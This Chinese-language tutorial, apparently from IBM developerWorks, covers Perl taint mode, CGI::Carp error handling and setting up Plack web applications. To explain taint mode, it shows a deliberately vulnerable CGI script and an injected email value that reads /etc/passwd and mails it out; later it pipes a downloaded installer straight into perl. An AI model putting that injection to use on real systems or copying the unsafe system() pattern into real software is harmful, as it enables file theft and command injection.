受污染的信息
让信息不受污染听上去似乎是不可能的事情,要保证脚本彻底安全,只能既不使用外部数据,也不使用来自外部连接或接口的数据(例如运行一个命令或连接到外部数据库)。对于一些简单的脚本,这是完全有可能做到的。
但对于一般的 Web 应用程序,会从一个表单或其他位置接收数据,然后在其他表单中使用这些数据,在这种情况下,使用脚本解决方案才是首选。
使用这样的数据可能造成严重后果。例如,请考虑一下 清单1 中的示例:
清单 1. 典型的脚本
#!/usr/bin/perl use strict; use warnings; use CGI qw/:standard/; my $query = new CGI(); my $email = $query->param(email); system("mail $email") or die "Couldn't open mail"
假设我们能一直获得完全有效的 email 地址,那么这段脚本看上去没有任何问题。但我们使用了 system()
函数来发送 email,因此 email 地址的内容可能会影响到系统。例如,假设所提供的 email 地址是:
[email protected]; cat /etc/passwd | mail [email protected]
现在 email 地址不仅(可能)包含有效的 email 地址,而且还通过 email 告诉其他人密码文件。system()
函数打开一个子 shell 并执行相关内容。这就是一个重大安全问题。
如果 Perl 没有提供称为污染模式的内置模式,那么追踪不同信息的来源就会变得很困难。如果 Perl 确定实际有效的用户 ID 是其他 ID,或通过在命令行或脚本开头处使用 -T
选项,那么系统会自动启用污染模式。
启用污染模式后,Perl 会检查不同数据和变量的来源与使用情况,确保使用的信息未执行带有不安全或危险操作的脚本,未包含不受信任的信息。顾名思意,这些数据被划分为受污染的 数据。
对于源自命令行参数、环境变量、本地信息和某些系统调用(包括访问共享目录、共享内存和系统数据)的所有信息,Perl 会识别受污染的数据。另外,所有从外部文件读取的数据都会受污染。
不能在调用子 shell 的命令(包括管道输入/输出和 system()
调用或 exec()
调用)或修改文件的目录的命令(如写入、删除或重命名)或进程中直接或间接使用受污染的数据。
此规则还有一个特例,print()
(及其衍生物)和 syswrite()
不会触发污染错误或子方法、子引用或哈希键。
污染功能还会自动扩展,监视可疑的值,即使您未直接使用它。例如,无论何时调用 system()
或 exec()
,都会检查 PATH
环境变量的值,无论是否在命令行中使用了受污染的变量,因为所执行的命令是由 PATH
决定的。检查 PATH
是为了确保路径中列出的所有目录都是绝对路径,而且所有者及其所在组以外的人无法执行写入操作。这样做可防止所运行的命令产生更大的问题。
如果启用了污染模式,Perl 会产生错误并停止执行,它还会识别出正在使用的受污染值。例如,使用不安全的 PATH
会产生以下错误:
Insecure $ENV{PATH} while running with -T switch at t.pl line 11
而使用不安全的变量会产生以下错误:
Insecure dependency in system while running with -T switch at t2.pl line 2
在典型的 Web 应用程序中,无论用来收集信息的方法是什么,用户从表单提供的数据都会受污染。源自 CGI 脚本的数据可以从标准输入或环境变量中获得(这取决与所使用的 HTTP 方法和环境),而且这两者都被划分为污染源。
为了保护脚本执行,并确保未使用不安全数据,您需要识别信息并去除污染,以便可以安全使用数据。
回页首
使用 CGI::Carp
在 Perl 脚本中,报告错误的常用方法是使用 warn()
或 die()
函数来报告或产生错误。而对于 Carp
模块,它可以对产生的消息提供额外级别的控制,尤其是在模块内部。
另外一个模块 CGI::Carp
提供了很多与 Carp
模块一样的功能。它专门设计用于 Web 脚本中,可将错误信息写入指定的日志,而不是写入默认 Web 服务器日志中(例如,由 Apache 生成的日志),或者您可以在某种受控方式下将信息写入 Web 页面。
标准 Carp
模块提供了 warn()
和 die()
函数的替代方法,它们在提供错误定位方面提供更多信息,而且更加友好。当在模块中使用时,错误消息中包含模块名称和行号。
在 Carp
模块内部,有 4 个主要函数,carp()
是警告消息的同义词,croak()
与 die()
一样,可以结束脚本。cluck()
和 confess()
分别与warn()
和 die()
类似,但提供了从产生错误处的栈回溯追踪。
如果同时使用 Carp 和 CGI::Carp
模块,那么标准函数,例如 warn()
、die()
和 Carp
模块函数、croak()
、confess()
和 carp()
将会将错误信息写入已配置好的 HTTP 服务器日志,并附带日期/时间戳和脚本来源。
使用 HTTP 服务器错误日志的一个替代方法是使用 CGI::Carp
并利用 carpout()
函数。该函数只有一个参数,即您用来写入错误信息的文件的文件句柄(通常会将该信息发送到 STDERR)。您需要显式导入 carpout()
函数。如 清单 2 中的一个示例所示。
清单 2. 使用 CGI::Carp
#!/usr/bin/perl use strict; use warnings; use CGI::Carp qw/carpout/; use IO::File; my $logfile = IO::File->new('browser.log','w') or die "Couldn't open logfile:$!\n"; carpout($logfile); warn "Some error must have occurred\n";
日志中产生的信息是通过日期和产生输出的脚本名称进行区分的:
[Thu Sep 2 11:35:56 2010] carpout.cgi:Some error must have occurred
所有的标准方法都假设您想要将错误信息写入日志文件中。但是您可能并不始终具有访问日志的权限,或者并不总是能够登录到浏览器来获取信息。
因此 CGI::Carp
函数提供了一个 fatalsToBrowser
选项将致命错误消息(die()
、confess()
)重新指向浏览器和 Web 服务器日志。这样可以确保您的用户能够看到脚本所产生的错误。非致命错误(warn()
和 carp()
)将会按照常规继续发送至错误日志。
要使用 CGI::Carp
模块,必须在加载该模块时将它指定为一个选项,请使用 CGI::Carp qw/fatalsToBrowser/;
。我们可以将它添加到文件浏览脚本中,以确保错误被正确报告和识别。
回页首
使用 Plack
信息污染以及使用 CGI::Carp
都是低级的问题,但仍然会引起人们的重视。但是,可以通过使用一些 Web 应用程序框架(例如 Catalyst 或 Dancer)来简化 CGI 应用程序的低层次方面,比如处理查询参数和输出头部材料。Plack 可以同框架一起使用,也可以单独使用,如下所示。
Plack 是 Web 框架和 Web 服务器的 Perl 纽带。Plack 位于代码(无论是否使用框架)和 Web 服务器(例如,Apache、Starman 和 FCGI)之间。这意味着您(以及您所用的框架)无需担心 Web 服务器的设置,反之亦然。
回页首
设置 Plack
我们现在将开始设置 Plack。我们将会使用 cpanm(来自 App::cpanminus
)下载模块并将它安装到 local::lib
(无需具有 root 访问权限)。如 清单 3 所示。
清单 3. 初始设置
# archive of any existing cpan configuration mv ~/.cpan ~/.cpan_original # Then one of the following: # if you can run wget wget -O - http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc # OR if you can run curl curl -L http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc # otherwise, download the contents of http://cpanmin.us to a file called cpanmin.us, make it executable and then run: ./cpanmin.us local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc
以上步骤就是快速方便地构建 Web 应用程序所需的核心 Plack 模块(参见下方 清单 4)。
清单 4. 使用 cpanminus 安装 Plack
cpanm Task::Plack # Please also run this as we will use it later cpanm Plack::Middleware::TemplateToolkit
主目录中的 perl5 文件夹下已经包含了所需的所有模块。下一步是创建一个 .psgi 配置文件,用它返回一个 Web 页面(参见下方 清单 5)。
清单 5. 创建一个 .psgi 配置文件
# Tell Perl where our lib is (ALWAYS use this) use lib "$ENV{HOME}/perl5/lib/perl5"; # ensure we declare everything correctly (ALWAYS use this) use strict; # Give us diagnostic warnings where possible (ALWAYS use this) use warnings; # Allow us to build our application use Plack::Builder; # A basic app my $default_app = sub { my $env = shift; return [ 200, # HTTP Status code [ 'Content-Type' => 'text/html' ], # HTTP Headers, ["All is good"] # Content ]; }; # return the builder return builder { $default_app; }
将配置文件保存到名为 1.psgi 的文件中,然后在命令行中使用 plackup
命令启动 Web 服务器,如下所示:plackup 1.psgi
。您会看到:HTTP::Server::PSGI:Accepting connections at http://SERVER_IP:5000/
。
使用 Web 浏览器转至 http://SERVER_IP:5000/
。如果您是在自己的台式机上开发程序,则可以使用 http://localhost:5000/
。您会看到页面显示 “All is good”。实际上,转到任何页面都会看到 http://localhost:5000/any_page.html
,因为不管请求的是什么,都会返回此内容。
您可能会注意到,在命令行上可以看到 Web 服务器的访问日志。这是因为 Plack 默认情况下被设置为开发模式,并且打开一些额外的中间件层,其中包括 AccessLog、StackTrace 和 Lint。
如果要在运行时看到 StackTrace,那么请在清单 4 中注释掉第 27 行,只需在行首加上一个井号 (#) 即可:# ["All is good"] # Content
。
重新启动 plackup
命令(输入 Ctrl+C 停止进程,然后运行 plackup 1.psgi
启动)。现在,在 Web 浏览器中再次转至http://localhost:5000/
,您将会看到错误的 StackTrace。注意页面顶部的主要错误消息 “response needs to be 3 element array, or 2 element in streaming”。然后,您可以按照追踪的每一步骤,单击每一段追踪信息下方的 Show function arguments 和 Show lexical variables 链接来帮助调试。
去掉 # 并重新启动,那么您就再次拥有了一个有效的 .psgi 文件。
回页首
开发
plackup
命令有好几个命令行参数,运行 perldoc plackup
命令会显示相关文档。最常用的参数是 -r
或 --reload
;这会让 plackup 监控 .psgi 文件(如果 psgi 文件有相应的 lib 目录,也会受到监控):plackup -r 1.psgi
。
回页首
扩展应用程序
Plack 中有很多有用的应用程序,您肯定想将它们集成到您的 Web 门户中。例如,在 清单 6 中,我们使用 Plack::App::Directory
来列出目录,并将其内容用作静态文件。我们将使用 Plack::App::URLMap
来选择将应用程序加载到哪个 URL 上。
清单 6. 第二个 .psgi 配置文件
use lib "$ENV{HOME}/perl5/lib/perl5"; use strict; use warnings; use Plack::Builder; # 'mount' applications on specific URLs use Plack::App::URLMap; # Get directory listings and serve files use Plack::App::Directory; my $default_app = sub { my $env = shift; return [ 200, [ 'Content-Type' => 'text/html' ], ["All is good"] ]; }; # Get the Directory app, configured with a root directory my $dir_app = Plack::App::Directory->new( { root => "/tmp/" } )->to_app; # Create a mapper object my $mapper = Plack::App::URLMap->new(); # mount our apps on urls $mapper->mount('/' => $default_app); $mapper->mount('/tmp' => $dir_app); # extract the new overall app from the mapper my $app = $mapper->to_app(); # Return the builder return builder { $app; }
清单 6 中的代码将 $dir_app
加载到 /tmp/ ( open http://localhost:5000/tmp/ )
以及 $default_app
或其他任何路径 ( open http://localhost:500/anything_else.html )
。
回页首
更多的中间件和应用程序
有很多的 Plack::Apps
和 Plack::Middleware
模块可以帮助我们完成常见任务。我们将看一看 Plack::Middleware::TemplateToolkit
,它通过模板化引擎 Template-Toolkit (TT) 来解析文件。图像和其他静态内容不会通过 TT,因此我们会配置 Plack::Middleware::Static
,通过特定的扩展名直接提供文件。在此之前,我们想在出现错误 404(文件未找到)时,会显示一个好看的页面;我们使用Plack::Middleware::ErrorDocument
来完成这项任务。我们所需加入的代码如 清单 7 所示。
清单 7. Plack::Middleware::TemplateToolkit
模块
# A link to your htdocs root folder my $root = '/path/to/htdocs/'; # Create a new template toolkit application (which we will default to) my $default_app = Plack::Middleware::TemplateToolkit->new( INCLUDE_PATH => $root, # Required )->to_app(); return builder { # Page to show when requested file is missing # this will not be processes with TT enable "Plack::Middleware::ErrorDocument", 404 => "$root/page_not_found.html"; # These files can be served directly enable "Plack::Middleware::Static", path => qr{[gif|png|jpg|swf|ico|mov|mp3|pdf|js|css]$}, root => $root; # Our application $default_app; }
到此为止,深入研究一下提供 PSGI 支持并能使用 Plack 的众多 Web 框架之一也许是值得的。这些框架提供了执行更复杂的任务的结构和支持。让我们来看一下 Catalyst、Mojolicious 或 Dancer。Perl.org Web 框架白皮书(参阅 参考资料 中链接)讨论了使用框架的诸多优势。
回页首
结束语
由于要保证从用户处接收的信息的安全,因此在 Perl Web 门户脚本中解析并使用 Web 数据变得非常复杂。一旦批准了通过 Perl 脚本访问底层文件系统,就必须确保 CGI 脚本不能访问您不想让外部人员访问的文件。
Plack 不能消除您对这些因素的担忧,但它能让构建先进的 Web 应用程序系统的过程变得轻松很多。Plack 能够解决这些问题,而且提供了一个简化的环境来构建 Web 应用程序。Plack 可以处理 Web 服务器与 Perl 应用程序之间的复杂性,简化并保护您的应用程序和服务器。
from:http://www.ibm.com/developerworks/cn/aix/library/au-perlweb_revision/index.html